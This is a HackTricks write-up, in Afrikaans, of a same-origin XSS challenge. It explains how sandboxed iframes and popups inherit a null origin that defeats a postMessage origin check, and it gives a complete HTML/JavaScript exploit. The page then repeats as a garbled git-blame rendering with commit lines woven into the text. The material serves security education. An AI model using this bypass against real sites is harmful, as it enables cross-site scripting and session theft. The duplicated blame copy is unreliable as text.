hacktricks/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md

# Bypassing SOP with Iframes - 1

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}

## Iframes in SOP-1

In hierdie [**uitdaging**](https://github.com/terjanq/same-origin-xss) geskep deur [**NDevTK**](https://github.com/NDevTK) en [**Terjanq**](https://github.com/terjanq) moet jy 'n XSS in die gekodeerde
```javascript
const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
}
```
Die hoofprobleem is dat die [**hoofblad**](https://so-xss.terjanq.me) DomPurify gebruik om die `data.body` te stuur, so om jou eie html data na daardie kode te stuur, moet jy **bypass** `e.origin !== window.origin`.

Kom ons kyk na die oplossing wat hulle voorstel.

### SOP bypass 1 (e.origin === null)

Wanneer `//example.org` in 'n **sandboxed iframe** ingebed is, sal die bladsy se **origin** **`null`** wees, d.w.s. **`window.origin === null`**. So net deur die iframe in te bed via `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` kan ons die **`null` origin** **force**.

As die bladsy **ingebed kan word**, kan jy daardie beskerming op daardie manier omseil (koekies moet dalk ook op `SameSite=None` gestel word).

### SOP bypass 2 (window.origin === null)

Die minder bekende feit is dat wanneer die **sandbox waarde `allow-popups` gestel is**, die **geopende popup** al die **sandboxed attributes** sal **erf** tensy `allow-popups-to-escape-sandbox` gestel is.\
So, om 'n **popup** van 'n **null origin** te open, sal **`window.origin`** binne die popup ook **`null`** wees.

### Uitdaging Oplossing

Daarom, vir hierdie uitdaging, kan 'n mens 'n **iframe** **skep**, 'n **popup** na die bladsy met die kwesbare XSS kodehandler (`/iframe.php`) **open**, aangesien `window.origin === e.origin` omdat albei `null` is, is dit moontlik om 'n **payload te stuur wat die XSS sal benut**.

Daardie **payload** sal die **identifier** kry en 'n **XSS** dit **terug na die boonste bladsy** stuur (die bladsy wat die popup geopen het), **wat** die **ligging** na die **kwesbare** `/iframe.php` sal **verander**. Omdat die identifier bekend is, maak dit nie saak dat die voorwaarde `window.origin === e.origin` nie nagekom word nie (onthou, die origin is die **popup** van die iframe wat **origin** **`null`** het) omdat `data.identifier === identifier`. Dan, die **XSS sal weer aktiveer**, hierdie keer in die korrekte origin.
```html
<body>
<script>
f = document.createElement('iframe');

// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';

// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');

// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
</body>
```
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Ondersteun HackTricks</summary>

* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:54:19 +00:00			`# Bypassing SOP with Iframes - 1`

			`{% hint style="success" %}`
			`Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[HackTricks Training AWS Red Team Expert (ARTE)](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\`
			`Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[HackTricks Training GCP Red Team Expert (GRTE)<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
			`<details>`

Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:54:19 +00:00			`<summary>Support HackTricks</summary>`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:54:19 +00:00			`* Check the [subscription plans](https://github.com/sponsors/carlospolop)!`
			`* Join the 💬 [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) or follow us on Twitter 🐦 [@hacktricks\_live](https://twitter.com/hacktricks\_live).`
			`* Share hacking tricks by submitting PRs to the [HackTricks](https://github.com/carlospolop/hacktricks) and [HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud) github repos.`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
			`</details>`
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:54:19 +00:00			`{% endhint %}`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
			`## Iframes in SOP-1`

Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:54:19 +00:00			`In hierdie [uitdaging](https://github.com/terjanq/same-origin-xss) geskep deur [NDevTK](https://github.com/NDevTK) en [Terjanq](https://github.com/terjanq) moet jy 'n XSS in die gekodeerde`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00			```javascript
			`const identifier = '4a600cd2d4f9aa1cfb5aa786';`
			`onmessage = e => {`
Translated to Afrikaans 2024-02-11 02:07:06 +00:00			`const data = e.data;`
			`if (e.origin !== window.origin && data.identifier !== identifier) return;`
			`if (data.type === 'render') {`
			`renderContainer.innerHTML = data.body;`
			`}`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00			`}`
			```
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:54:19 +00:00			Die hoofprobleem is dat die [hoofblad](https://so-xss.terjanq.me) DomPurify gebruik om die `data.body` te stuur, so om jou eie html data na daardie kode te stuur, moet jy bypass `e.origin !== window.origin`.
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated to Afrikaans 2024-02-11 02:07:06 +00:00			`Kom ons kyk na die oplossing wat hulle voorstel.`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:54:19 +00:00			`### SOP bypass 1 (e.origin === null)`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:54:19 +00:00			Wanneer `//example.org` in 'n sandboxed iframe ingebed is, sal die bladsy se origin `null` wees, d.w.s. `window.origin === null`. So net deur die iframe in te bed via `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` kan ons die `null` origin force.
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:54:19 +00:00			As die bladsy ingebed kan word, kan jy daardie beskerming op daardie manier omseil (koekies moet dalk ook op `SameSite=None` gestel word).
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:54:19 +00:00			`### SOP bypass 2 (window.origin === null)`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:54:19 +00:00			Die minder bekende feit is dat wanneer die sandbox waarde `allow-popups` gestel is, die geopende popup al die sandboxed attributes sal erf tensy `allow-popups-to-escape-sandbox` gestel is.\
			So, om 'n popup van 'n null origin te open, sal `window.origin` binne die popup ook `null` wees.
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:54:19 +00:00			`### Uitdaging Oplossing`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:54:19 +00:00			Daarom, vir hierdie uitdaging, kan 'n mens 'n iframe skep, 'n popup na die bladsy met die kwesbare XSS kodehandler (`/iframe.php`) open, aangesien `window.origin === e.origin` omdat albei `null` is, is dit moontlik om 'n payload te stuur wat die XSS sal benut.
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:54:19 +00:00			Daardie payload sal die identifier kry en 'n XSS dit terug na die boonste bladsy stuur (die bladsy wat die popup geopen het), wat die ligging na die kwesbare `/iframe.php` sal verander. Omdat die identifier bekend is, maak dit nie saak dat die voorwaarde `window.origin === e.origin` nie nagekom word nie (onthou, die origin is die popup van die iframe wat origin `null` het) omdat `data.identifier === identifier`. Dan, die XSS sal weer aktiveer, hierdie keer in die korrekte origin.
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00			```html
			`<body>`
Translated to Afrikaans 2024-02-11 02:07:06 +00:00			`<script>`
			`f = document.createElement('iframe');`

			`// Needed flags`
			`f.sandbox = 'allow-scripts allow-popups allow-top-navigation';`

			`// Second communication with /iframe.php (this is the top page relocated)`
			`// This will execute the alert in the correct origin`
			const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
			`x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');`
			},1000);`.replaceAll('\n',' ');

			`// Initial communication`
			`// Open /iframe.php in a popup, both iframes and popup will have "null" as origin`
			`// Then, bypass window.origin === e.origin to steal the identifier and communicate`
			`// with the top with the second XSS payload`
			f.srcdoc = `
			`<h1>Click me!</h1>`
			`<script>`
			`onclick = e => {`
			`let w = open('https://so-xss.terjanq.me/iframe.php');`
			`onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';`
			`setTimeout(_ => {`
			`w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')`
			`}, 1000);`
			`};`
			`<\/script>`
			`
			`document.body.appendChild(f);`
			`</script>`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00			`</body>`
			```
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:54:19 +00:00			`{% hint style="success" %}`
			`Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[HackTricks Opleiding AWS Red Team Expert (ARTE)](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\`
			`Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[HackTricks Opleiding GCP Red Team Expert (GRTE)<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)`

GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00			`<details>`

Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:54:19 +00:00			`<summary>Ondersteun HackTricks</summary>`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:54:19 +00:00			`* Kyk na die [subskripsie planne](https://github.com/sponsors/carlospolop)!`
			`* Sluit aan by die 💬 [Discord groep](https://discord.gg/hRep4RUj7f) of die [telegram groep](https://t.me/peass) of volg ons op Twitter 🐦 [@hacktricks\_live](https://twitter.com/hacktricks\_live).`
			`* Deel hacking truuks deur PRs in te dien na die [HackTricks](https://github.com/carlospolop/hacktricks) en [HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud) github repos.`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
			`</details>`
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:54:19 +00:00			`{% endhint %}`